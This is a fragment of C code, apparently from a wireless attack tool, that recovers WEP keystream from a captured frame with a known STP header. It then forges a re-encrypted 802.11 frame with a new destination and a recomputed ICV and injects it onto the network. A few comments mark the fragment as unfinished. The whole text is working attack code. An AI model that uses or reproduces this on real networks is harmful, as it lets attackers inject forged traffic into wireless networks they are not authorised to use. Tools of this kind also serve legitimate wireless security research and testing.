//Extract
	memcpy(ivk, h80211+24, 4);
	memcpy(payload, h80211+24+4, 16);
	
	//Derive keystream
	for(i = 0; i < 16; i++)
		keystream[i] = payload[i] ^ STPHDR[i];
	
	printf("found STP len %d, IV %02x%02x%02x, ki %02x\n",
		rc, ivk[0], ivk[1], ivk[2], ivk[3]);
	
	//Build: new destination
	memcpy(h80211+4, NEWDST, 6);
	
	//Build: set fragment big, fragment number?
	//???
	
	//Build: Same iv and keyindex
	memcpy(h80211+24, ivk, 4);
	
	//Build: First 16 bytes of (cleartext) payload
	memcpy(h80211+24+4, STPHDR, 16);
	//h80211[24+4+12]=h80211[24+4+13]=h80211[24+4+14]=h80211[24+4+15]=0xcc;
	
	//Build: ICV
	add_icv(h80211,24+4+16,24+4);

	//Build: encrypt
	for(i=0;i<16;i++)
		h80211[24+4+i] ^= keystream[i];
	
	//Send
	wi_write(wi,h80211,rc,NULL);